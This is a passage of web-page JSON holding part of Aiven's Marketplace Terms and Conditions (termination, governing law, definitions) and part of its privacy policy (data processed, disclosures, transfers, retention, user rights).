liquidation or corporate restructuring or otherwise ceases to carry on its business; or (b) the other Party is in material breach of the terms and conditions of this Agreement and fails to remedy such breach within thirty (30) days from the date of receipt of a written notice by the non-defaulting Party, such written notice detailing the breach and the intention to terminate."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"be3ad9071757","_type":"block","children":[{"_key":"aabb1b173aac0","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, upon the termination of the Agreement for any reason, any Fees owed by the Customer until the effective date of the termination shall become due."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6c7ce20c6c72","_type":"block","children":[{"_key":"4804755e52a70","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep Customer data uploaded to the Cloud Services, Aiven shall delete and destroy the data the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Customer data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Customer data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f07e5cfa1586","_type":"block","children":[{"_key":"9db1b0a24dcd0","_type":"span","marks":[],"text":"13. Other Terms"}],"markDefs":[],"style":"h3"},{"_key":"f7f5befda35c","_type":"block","children":[{"_key":"2b7b6b8c338b0","_type":"span","marks":[],"text":"Notwithstanding the rules on Subprocessors agreed in the DPA, Aiven shall be free to use subcontractors in the performance of its obligations and exercise of its rights under this Agreement. A list of Aiven's Subprocessors and subcontractors is available at the Web Site, if not communicated separately to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"245ce5afa940","_type":"block","children":[{"_key":"49450e790efd0","_type":"span","marks":[],"text":"Aiven shall have the right to use its relationship with the Customer in its marketing and sales promotion activities."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"735e59b72a69","_type":"block","children":[{"_key":"dc3de67adeb60","_type":"span","marks":[],"text":"This Agreement constitutes the entire agreement with respect to Customer’s access to and use of the Cloud Services. Aiven's obligations regarding the Cloud Services are governed solely by this Agreement pursuant to which they are provided. In the event of discrepancy between this Agreement and the Aiven standard template Order Form, the text of the Aiven standard template Order Form shall prevail. For clarity, these General Terms shall prevail over any Customer general terms and conditions which may have been referenced in the Customer’s standard template order form or purchase order."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"99b600a070ef","_type":"block","children":[{"_key":"e0e2576db3aa0","_type":"span","marks":[],"text":"Except as expressly provided herein, neither Party makes any warranties of any kind, whether express, implied, statutory or otherwise, and each Party specifically disclaims all implied warranties, including any warranties of merchantability, fitness for a particular purpose, or non-infringement, and any warranties arising out of course of dealing, course of performance or use of trade to the maximum extent permitted by applicable law. The Cloud Services are provided to Customer strictly on an \"as is\" basis. Aiven shall have no responsibility for determining that Customer's proposed use of the Cloud Services complies with applicable laws and regulations in Customer's jurisdiction(s). Customer acknowledges and agrees Aiven is not engaged in providing legal, accounting, tax, or financial services or advice. No advice or information, whether oral or written, provided by Aiven will create any warranty or condition not expressly stated in this agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df9a2368e77c","_type":"block","children":[{"_key":"2800bd47e9f00","_type":"span","marks":[],"text":"Either Party shall not be liable for any delays or non-performance of its obligations or any damages caused by an impediment beyond its reasonable control, which it could not have reasonably taken into account at the time of entering into this Agreement, and whose consequences it could not reasonably have avoided or overcome. For instance, errors in public communication networks or electricity supply shall constitute such an impediment. Strike, lockout, boycott and other industrial action shall constitute a force majeure event also when the Party concerned is the target or Party to such action. A force majeure event suffered by a Subprocessor or a subcontractor of a Party shall also discharge such Party from liability. Each Party shall without delay inform the other Party in writing of a force majeure event and the termination of the force majeure event."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86506b00eb38","_type":"block","children":[{"_key":"1cf7a38dd1760","_type":"span","marks":[],"text":"All formal notices and other formal communication between the Parties hereunder shall be made in the English language. Neither Party shall be entitled to assign nor transfer all or any of its rights, benefits and obligations under this Agreement without the prior written consent of the other Party, which consent shall not be unreasonably withheld or delayed. Aiven shall, however, have the right to assign this Agreement in connection with a sale or transfer of its business or a relevant part thereof."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9e45163fd8be","_type":"block","children":[{"_key":"8f7e325156140","_type":"span","marks":[],"text":"Aiven shall have the right to update the Agreement at its sole discretion. Aiven shall notify the Customer of material updates. Should the Customer not accept the updated Agreement, the Customer shall have the right to terminate the Agreement by a written notice to the Company, effective as of the effective date of the new General Terms"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"44a61da724ac","_type":"block","children":[{"_key":"02feb589902d0","_type":"span","marks":[],"text":"Any terms and conditions that by their nature or otherwise reasonably should survive a cancellation or termination of this Agreement shall also be deemed to survive."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5113268aaf6b","_type":"block","children":[{"_key":"c976569f772c0","_type":"span","marks":[],"text":"Aiven shall have the right to delete Cloud Services which have been powered-off for more than 180 days. The Customer acknowledges that such deletion will also delete all backups of such deleted Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4a3d57f9609f","_type":"block","children":[{"_key":"37eadbafdb370","_type":"span","marks":[],"text":"14. Governing Law and Disputes"}],"markDefs":[],"style":"h3"},{"_key":"b4a1bcd9859f","_type":"block","children":[{"_key":"b97c8a11e8460","_type":"span","marks":[],"text":"The Agreement shall be governed by and construed in accordance with the substantive laws of Finland, excluding its choice of law provisions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a3982e5e9b2e","_type":"block","children":[{"_key":"376ed1ae42b40","_type":"span","marks":[],"text":"Any dispute, controversy or claim arising out of or relating to this Agreement, or the breach, termination or validity thereof, shall be finally settled by arbitration in accordance with the Arbitration Rules of the Finland Chamber of Commerce. The number of arbitrators shall be one (1). The seat of arbitration shall be Helsinki, Finland. The language of the arbitration shall be English."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"57b35e15a1f2","_type":"block","children":[{"_key":"9f51ba7ae4460","_type":"span","marks":[],"text":"Notwithstanding anything set out in Section 14.2 above, Aiven shall have the right to claim unpaid Fees in a public court."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0b4f46555e93","_type":"block","children":[{"_key":"3c7e8f8b83eb0","_type":"span","marks":[],"text":"15. Definitions"}],"markDefs":[],"style":"h3"},{"_key":"737fa3c64c0c","_type":"block","children":[{"_key":"88644ba2fdd50","_type":"span","marks":[],"text":"\""},{"_key":"88644ba2fdd51","_type":"span","marks":["strong"],"text":"Acceptable Use Policy"},{"_key":"88644ba2fdd52","_type":"span","marks":[],"text":"\" has the meaning set out in Section 7.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"575f73d86fb7","_type":"block","children":[{"_key":"d01dfd6300321","_type":"span","marks":["strong"],"text":"\"Additional Services"},{"_key":"d01dfd6300322","_type":"span","marks":[],"text":"\" means optional Services, further described in an Order Form or at the Website, as applicable, which are not Cloud Services, Consulting Services, Support Services or Beta Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8eec0376eacd","_type":"block","children":[{"_key":"40210ea030620","_type":"span","marks":[],"text":"\""},{"_key":"40210ea030621","_type":"span","marks":["strong"],"text":"Affiliate"},{"_key":"40210ea030622","_type":"span","marks":[],"text":"\" of a Party means any legal entity that is (a) directly or indirectly owning or controlling the Party, or (b) under the same direct or indirect ownership or control as the Party, or (c) directly or indirectly owned or controlled by the Party, for so long as such ownership or control lasts. Ownership or control shall exist through direct or indirect ownership of more than fifty percent (50%) of the nominal value of the issued equity share capital or more than fifty percent (50%) of the shares entitling the holders to vote for the election of the members of the board of directors or persons performing similar functions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3422e403f925","_type":"block","children":[{"_key":"4fffa4d021ab0","_type":"span","marks":[],"text":"\""},{"_key":"4fffa4d021ab1","_type":"span","marks":["strong"],"text":"Agreement"},{"_key":"4fffa4d021ab2","_type":"span","marks":[],"text":"\" means this agreement between Aiven and the Customer, consisting of these General Terms, the SLA, the DPA and the Support Services Description available on the Web Site, and any Order Form with its appendices that Aiven and the Customer may have entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0c39fee99ba6","_type":"block","children":[{"_key":"58839f7b99160","_type":"span","marks":[],"text":"\""},{"_key":"58839f7b99161","_type":"span","marks":["strong"],"text":"Beta Services"},{"_key":"58839f7b99162","_type":"span","marks":[],"text":"\" means a preview of the new Aiven Cloud Services, which have not been made generally available, including early access and limited access Cloud Services. The definition Beta Services includes also Cloud Services provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"047aae374e65","_type":"block","children":[{"_key":"a61e00dfdb990","_type":"span","marks":[],"text":"\""},{"_key":"a61e00dfdb991","_type":"span","marks":["strong"],"text":"Beta Features"},{"_key":"a61e00dfdb992","_type":"span","marks":[],"text":"\" means features, which have not been made generally available, including early access and limited access features. The definition Beta Features includes also features provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c38e2a16a3e2","_type":"block","children":[{"_key":"82ef42fe3c140","_type":"span","marks":[],"text":"\""},{"_key":"82ef42fe3c141","_type":"span","marks":["strong"],"text":"Cloud Service(s)"},{"_key":"82ef42fe3c142","_type":"span","marks":[],"text":"\" means the cloud based services provided by Aiven to the Customer as set out in the Agreement;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86b65706dcab","_type":"block","children":[{"_key":"22ab482a213c0","_type":"span","marks":[],"text":"\""},{"_key":"22ab482a213c1","_type":"span","marks":["strong"],"text":"Customer"},{"_key":"22ab482a213c2","_type":"span","marks":[],"text":"\" means the customer entity registering to use the Services or the customer entity set out in the Order Form, including its Affiliates, and entering into the Agreement with Aiven;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5ee6410fa6b7","_type":"block","children":[{"_key":"e06f5ed4d32c0","_type":"span","marks":[],"text":"\""},{"_key":"e06f5ed4d32c1","_type":"span","marks":["strong"],"text":"Confidential Information"},{"_key":"e06f5ed4d32c2","_type":"span","marks":[],"text":"\" has the meaning set out in Section 10.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ef111c48c2f0","_type":"block","children":[{"_key":"d3fc4043fe5e1","_type":"span","marks":["strong"],"text":"\"Consulting Services"},{"_key":"d3fc4043fe5e2","_type":"span","marks":[],"text":"\" means Services further described and classified as Consulting Services in an Order Form and which are subject to additional consulting terms and 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such laws and regulations;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1ba4ef78e225","_type":"block","children":[{"_key":"6273b61853ce0","_type":"span","marks":[],"text":"\""},{"_key":"6273b61853ce1","_type":"span","marks":["strong"],"text":"Fee(s)"},{"_key":"6273b61853ce2","_type":"span","marks":[],"text":"\" means the compensation paid by the Customer for the Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9f1afb4e5f44","_type":"block","children":[{"_key":"55d6b79edbed0","_type":"span","marks":[],"text":"\""},{"_key":"55d6b79edbed1","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"55d6b79edbed2","_type":"span","marks":[],"text":"\" has the meaning set out in the preamble above;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7c54a603e2ed","_type":"block","children":[{"_key":"139ff58623aa0","_type":"span","marks":[],"text":"\""},{"_key":"139ff58623aa1","_type":"span","marks":["strong"],"text":"Intellectual Property Rights"},{"_key":"139ff58623aa2","_type":"span","marks":[],"text":"\" means any and all patents, utility models, design rights, copyrights (including the right to amend, modify, develop and assign), trademarks, trade names, inventions, trade secrets, domain names, know-how and any other industrial or intellectual property rights (including applications thereof);"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c90ea403b626","_type":"block","children":[{"_key":"cd400ed1d4a10","_type":"span","marks":[],"text":"\""},{"_key":"cd400ed1d4a11","_type":"span","marks":["strong"],"text":"Marketplace"},{"_key":"cd400ed1d4a12","_type":"span","marks":[],"text":"\" means the third party platform through which the Services are provided;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bba93e9da1e4","_type":"block","children":[{"_key":"c100fc9b2a070","_type":"span","marks":[],"text":"\""},{"_key":"c100fc9b2a071","_type":"span","marks":["strong"],"text":"Marketplace Provider"},{"_key":"c100fc9b2a072","_type":"span","marks":[],"text":"\" means the Marketplace vendor through which the Services are provided;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1c0d4406d2dd","_type":"block","children":[{"_key":"6c85720ea2dc0","_type":"span","marks":[],"text":"\""},{"_key":"6c85720ea2dc1","_type":"span","marks":["strong"],"text":"Marketplace Provider’s Terms"},{"_key":"6c85720ea2dc2","_type":"span","marks":[],"text":"\" means the Marketplace Provider’s terms and conditions applicable to the Services ordered through Marketplace in force at any given time;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a3406695438a","_type":"block","children":[{"_key":"520b98d3b5330","_type":"span","marks":[],"text":"\""},{"_key":"520b98d3b5331","_type":"span","marks":["strong"],"text":"Order Form"},{"_key":"520b98d3b5332","_type":"span","marks":[],"text":"\" means an order concerning the purchase of Services between the Parties. By entering into an Order Form under this Agreement, the Customer agrees to be bound by the applicable Marketplace Provider’s Terms and the terms of this Agreement, of which these General Terms form an integral and inseparable part of. The Order Form may include an executed quotation or purchase order for the Services to take place through Marketplace. The scope of the Services, commercial details, effective date and term length for each separate order are specified in the applicable Order Form. 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The Subprocessors and their services are listed on the Website."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f84e783d29b3","_type":"block","children":[{"_key":"fc1f713a38700","_type":"span","marks":[],"text":"\""},{"_key":"fc1f713a38701","_type":"span","marks":["strong"],"text":"Support Services"},{"_key":"fc1f713a38702","_type":"span","marks":[],"text":"\" means the Support Services provided by Aiven to the Customer;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e0831797131","_type":"block","children":[{"_key":"3cb9134530000","_type":"span","marks":[],"text":"\""},{"_key":"3cb9134530001","_type":"span","marks":["strong"],"text":"Support Services Description"},{"_key":"3cb9134530002","_type":"span","marks":[],"text":"\" which is located on the Web Site or as an appendix of the Order Form; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e964b32d998d","_type":"block","children":[{"_key":"4887bb09c8290","_type":"span","marks":[],"text":"\""},{"_key":"4887bb09c8291","_type":"span","marks":["strong"],"text":"Web Site"},{"_key":"4887bb09c8292","_type":"span","marks":[],"text":"\" means Aiven's web site available at "},{"_key":"4887bb09c8293","_type":"span","marks":["16badb53b196"],"text":"aiven.io"},{"_key":"4887bb09c8294","_type":"span","marks":[],"text":" and the Aiven console available at "},{"_key":"4887bb09c8295","_type":"span","marks":["ab2ecfd111b9"],"text":"console.aiven.io"},{"_key":"4887bb09c8296","_type":"span","marks":[],"text":" through which the Customer may use the Cloud Services."}],"level":1,"listItem":"number","markDefs":[{"_key":"16badb53b196","_type":"link","href":"https://aiven.io/"},{"_key":"ab2ecfd111b9","_type":"link","href":"https://console.aiven.io/"}],"style":"normal"}],"publishedAt":"2024-03-04T14:17:33.700Z","seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Governs the use of the Aiven Services provided through marketplace and consists of general terms, SLA, DPA and the support services description.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Marketplace Terms and Conditions"},"slug":{"_type":"slug","current":"/marketplace-terms"},"title":"Aiven Marketplace Terms and Conditions"}
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If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"6119c88a94211","_type":"span","marks":["f2ed99cd694d"],"text":"dpo@aiven.io"},{"_key":"3a86ff4ab539","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f2ed99cd694d","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"507b693a867b","_type":"block","children":[{"_key":"6253d7bdcabf0","_type":"span","marks":[],"text":"What personal data do we process?"}],"markDefs":[],"style":"h2"},{"_key":"988c578fbd9a","_type":"block","children":[{"_key":"8348c561f5430","_type":"span","marks":[],"text":"We collect personal data through different means, which are explained below in more detail. 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For this purpose, the following information will be processed:"}],"markDefs":[],"style":"normal"},{"_key":"3d07a34e33f4","_type":"block","children":[{"_key":"fa5a5c94ee150","_type":"span","marks":[],"text":"User’s IP address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"516adad39e7b","_type":"block","children":[{"_key":"83a6bb6fabde0","_type":"span","marks":[],"text":"Type and device ID"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd14978fc7b9","_type":"block","children":[{"_key":"e0c62a1dfd2e0","_type":"span","marks":[],"text":"Browser type and version"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0530ad755f19","_type":"block","children":[{"_key":"9128f445c3c70","_type":"span","marks":[],"text":"Geographical location based on the IP address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02d135ff4b97","_type":"block","children":[{"_key":"145264c2b3db0","_type":"span","marks":[],"text":"Service access times"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ef09c228d72","_type":"block","children":[{"_key":"17930c40570c0","_type":"span","marks":[],"text":"Statistics on page views and time spent on pages"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3c5d76eff106","_type":"block","children":[{"_key":"d70508cb6b8c0","_type":"span","marks":[],"text":"Any other automatically collectible information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6afa52a7b258","_type":"block","children":[{"_key":"3c1fa4fb507a0","_type":"span","marks":[],"text":"Special categories of personal data"}],"markDefs":[],"style":"h3"},{"_key":"e7335cf3e5fc","_type":"block","children":[{"_key":"f78c7ad9ac200","_type":"span","marks":[],"text":"We do not process special categories of personal data about our Users."}],"markDefs":[],"style":"normal"},{"_key":"5ba20825801a","_type":"block","children":[{"_key":"2b5a7434efef0","_type":"span","marks":[],"text":"For what purpose and with what legal basis do we process personal data?"}],"markDefs":[],"style":"h2"},{"_key":"f8374d8a5475","_type":"block","children":[{"_key":"20c8207093df0","_type":"span","marks":[],"text":"We process personal data for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"3561baa2b5dc","_type":"block","children":[{"_key":"359ce797e47c0","_type":"span","marks":[],"text":"Service provision based on contractual relationship with us"}],"markDefs":[],"style":"h3"},{"_key":"2f5a1cac5fe0","_type":"block","children":[{"_key":"41405a8a1cc30","_type":"span","marks":[],"text":"We process personal data when this is necessary under our contract with our customers and Aiven Community forum members, to provide our services , and specific features selected by the customer, and to manage and maintain the customer relationship between us. In this case, the processing is based on the performance of the customer contract."}],"markDefs":[],"style":"normal"},{"_key":"5db8dc1b4db8","_type":"block","children":[{"_key":"4e3345b48ca20","_type":"span","marks":[],"text":"Marketing"}],"markDefs":[],"style":"h3"},{"_key":"c7f6c2ed0422","_type":"block","children":[{"_key":"e0266d935f620","_type":"span","marks":[],"text":"We process personal data for marketing purposes as follows:"}],"markDefs":[],"style":"normal"},{"_key":"ff18a191bf81","_type":"block","children":[{"_key":"36b784f827320","_type":"span","marks":[],"text":"We send direct marketing via email based on our legitimate interest to provide Users with relevant information as part of our services and to promote our services. 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We seek consent when we place cookies and use similar technologies in accordance with our Cookie Policy. For more information, please see our "},{"_key":"5d95e8756827","_type":"span","marks":["54c6bfb3e37a"],"text":"Cookie Policy"},{"_key":"56f4d8da373d","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"54c6bfb3e37a","_type":"internalLink","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"}}],"style":"normal"},{"_key":"9e658b87218c","_type":"block","children":[{"_key":"a9e727b0a25b0","_type":"span","marks":[],"text":"Personal data is not processed for automated decision-making."}],"markDefs":[],"style":"normal"},{"_key":"eea3ed050034","_type":"block","children":[{"_key":"0280af5ec2ee0","_type":"span","marks":[],"text":"Our legitimate interest"}],"markDefs":[],"style":"h3"},{"_key":"8876c53ec054","_type":"block","children":[{"_key":"2b6f4c10e8f60","_type":"span","marks":[],"text":"We process personal data to the extent this is necessary to fulfil our legitimate interests, which include our interests to:"}],"markDefs":[],"style":"normal"},{"_key":"cc2b95b31b93","_type":"block","children":[{"_key":"1dc3de1a99830","_type":"span","marks":[],"text":"Effectively manage our relationship with our customers, including responding to queries, resolving technical issues, providing customer support and sending necessary information relating to our services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bc39fd3fb56","_type":"block","children":[{"_key":"7ddcdb31f3250","_type":"span","marks":[],"text":"Improve our services by seeking feedback and performing data analytics on the usage of our website and services, and creating user group profiles and anonymous, aggregated statistics about the use of our website and services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c26ec157063f","_type":"block","children":[{"_key":"bb7ea19431800","_type":"span","marks":[],"text":"Protect the security, availability and integrity of our services and information systems, including by using authentication mechanisms and other security measures, monitoring our systems for security threats, keeping back-ups, and carrying out system maintenance services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7bb6ef25e09c","_type":"block","children":[{"_key":"27beb474d0a9","_type":"span","marks":[],"text":"Protect our legal rights, including by handling complaints and exercising or defending legal claims."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9beeff930e43","_type":"block","children":[{"_key":"6ec7205333c70","_type":"span","marks":[],"text":"Share personal data with our subsidiaries to the extent necessary to provide our services and to manage and organize customer service, marketing as well as information security measures within the group in an appropriate and practical way and use shared IT systems within the group."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"012c6645c5ed","_type":"block","children":[{"_key":"f74c33155f770","_type":"span","marks":[],"text":"Legal obligations"}],"markDefs":[],"style":"h3"},{"_key":"6ae145964d8c","_type":"block","children":[{"_key":"da9db77432d20","_type":"span","marks":[],"text":"We process personal data to comply with legal requirements under applicable laws (e.g. tax and accounting obligations) and with court orders and requests by competent regulatory and governmental authorities."}],"markDefs":[],"style":"normal"},{"_key":"4ce1ca624b9e","_type":"block","children":[{"_key":"2febc0e7153c0","_type":"span","marks":[],"text":"What personal data do we disclose?"}],"markDefs":[],"style":"h2"},{"_key":"c39995766878","_type":"block","children":[{"_key":"da9bf6a9e96d0","_type":"span","marks":[],"text":"We disclose personal data to third parties as follows:"}],"markDefs":[],"style":"normal"},{"_key":"a3be252f4acc","_type":"block","children":[{"_key":"879f6810963b0","_type":"span","marks":[],"text":"to our subsidiaries for the purposes listed under Our legitimate interest heading above;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9ece0196409b","_type":"block","children":[{"_key":"b6258f63eef40","_type":"span","marks":[],"text":"to our third party service providers, including but not limited to hosting service providers, technology service providers, payment service providers and marketing providers;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ed10a444bec8","_type":"block","children":[{"_key":"610d00fd3dca0","_type":"span","marks":[],"text":"as required or permitted to comply with legal obligations, requests by competent authorities and courts and related legal proceedings;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e0a3d6a6bf04","_type":"block","children":[{"_key":"40835f7bcfab","_type":"span","marks":[],"text":"as required to establish, exercise or defend or to protect against legal claims; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"af2c1109328f","_type":"block","children":[{"_key":"9e01bed9014a0","_type":"span","marks":[],"text":"to prospective sellers or buyers if we are involved in a merger, acquisition, or sale of all or a portion of our assets."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e939bbeb6cf0","_type":"block","children":[{"_key":"38a23d0d306b0","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU/EEA?"}],"markDefs":[],"style":"h2"},{"_key":"eec0cfd82a77","_type":"block","children":[{"_key":"b13ffe966d010","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"b13ffe966d011","_type":"span","marks":["strong"],"text":"EU"},{"_key":"b13ffe966d012","_type":"span","marks":[],"text":"\") provided by Google and Amazon Web Services."}],"markDefs":[],"style":"normal"},{"_key":"9c4df03c159b","_type":"block","children":[{"_key":"4f5ec3e54ea80","_type":"span","marks":[],"text":"We transfer personal data to our subsidiaries and third party service providers overseas, which may involve the transfer of personal data to countries outside the European Economic Area (\""},{"_key":"ed5ca57fbcd0","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"aeb722073b44","_type":"span","marks":[],"text":"\") which have different data protection standards to those which apply in the EEA.  For a list of the countries in which our subsidiaries and service providers operate, please see: "},{"_key":"8986692cf562","_type":"span","marks":["a984d363994c"],"text":"aiven.io/subprocessors"},{"_key":"7f6bce8a5b1f","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a984d363994c","_type":"internalLink","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"}}],"style":"normal"},{"_key":"f655fec03266","_type":"block","children":[{"_key":"dfd31b7f2d4f0","_type":"span","marks":[],"text":"To the extent personal data is transferred to a country outside of the EU/EEA, we will use the required established mechanisms that allow the transfer to our subsidiaries and service providers in those countries, such as the Standard Contractual Clauses approved by the European Commission."}],"markDefs":[],"style":"normal"},{"_key":"546d93b2476c","_type":"block","children":[{"_key":"80673005a2480","_type":"span","marks":[],"text":"Please email us at "},{"_key":"80673005a2481","_type":"span","marks":["39c64c58a467"],"text":"privacy@aiven.io"},{"_key":"80673005a2482","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place. Please note, however, that some details may be redacted for confidentiality reasons."}],"markDefs":[{"_key":"39c64c58a467","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"1f4d1cac4c89","_type":"block","children":[{"_key":"b17270ef171d0","_type":"span","marks":[],"text":"To learn more about how Google processes personal information, please review "},{"_key":"fba40be6834a","_type":"span","marks":["a9f3f30d7010"],"text":"Google’s Business Data Responsibility page"},{"_key":"4cf37225bd21","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a9f3f30d7010","_type":"link","href":"https://business.safety.google/privacy/"}],"style":"normal"},{"_key":"a546ac2c9b85","_type":"block","children":[{"_key":"2717dcffa7690","_type":"span","marks":[],"text":"How long will we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"c66034de0cd5","_type":"block","children":[{"_key":"e9c2ec00f1cd0","_type":"span","marks":[],"text":"We will only retain personal data for as long as necessary to fulfil the purposes defined in this Privacy Policy. The main retention periods are as follows:"}],"markDefs":[],"style":"normal"},{"_key":"f48ece77c986","_type":"block","children":[{"_key":"09264954aa5e0","_type":"span","marks":[],"text":"We retain personal data for the duration of customer relationship and after that as required by legal obligations (e.g. accounting laws) or our contractual rights or obligations (e.g. for invoicing purposes)."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"056a4db6c969","_type":"block","children":[{"_key":"3ff1a8d551130","_type":"span","marks":[],"text":"If a dispute arises or a customer fails to make payment for our services, we may retain relevant information until such dispute is resolved or until such payment is made."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b542d43627c","_type":"block","children":[{"_key":"d39956e1d0470","_type":"span","marks":[],"text":"Where we process personal data for marketing purposes, we will delete or anonymise the data after one (1) year has lapsed from last contact between us to the User or when the User asks us to stop marketing and for a short period after this (to allow us to implement the request). From the below User Rights heading the User may find more information regarding data retention for marketing purposes and what rights the User has in this respect."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d5d81ce961f","_type":"block","children":[{"_key":"7d3763a81e090","_type":"span","marks":[],"text":"What rights does the user have?"}],"markDefs":[],"style":"h2"},{"_key":"1c3f4263a967","_type":"block","children":[{"_key":"f90dc59137a60","_type":"span","marks":[],"text":"Users have the following rights:"}],"markDefs":[],"style":"normal"},{"_key":"788345360844","_type":"block","children":[{"_key":"89e3ebeb8c0e0","_type":"span","marks":[],"text":"The right to request access to personal data about himself/herself;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc0ee1f47028","_type":"block","children":[{"_key":"c1a6e9825c7a","_type":"span","marks":[],"text":"The right to request rectification, restriction or erasure of personal data. However, certain information is strictly necessary in order to fulfil the purposes defined in this Privacy Policy and may also be required by law. Thus, it may not be possible to remove such personal data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b5b81392e5f","_type":"block","children":[{"_key":"79aa4354052e0","_type":"span","marks":[],"text":"The right to object processing, that is based on legitimate interest;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cb244e727d76","_type":"block","children":[{"_key":"9b21f31b139f0","_type":"span","marks":[],"text":"The right to object processing for marketing purposes and the right to prevent from receiving future direct marketing;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5558ecfdd90b","_type":"block","children":[{"_key":"05d61914af810","_type":"span","marks":[],"text":"If processing of personal data is based on consent, the User has the right to withdraw consent at any time. The withdrawal will not affect the lawfulness of the processing carried out before the withdrawal; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d4f0f160b3b4","_type":"block","children":[{"_key":"c2ff3ec042370","_type":"span","marks":[],"text":"The right to data portability, meaning the right to receive the personal data in a structured, commonly used machine-readable format and transmit the personal data to another data controller, to the extent required by applicable law. This applies for personal data 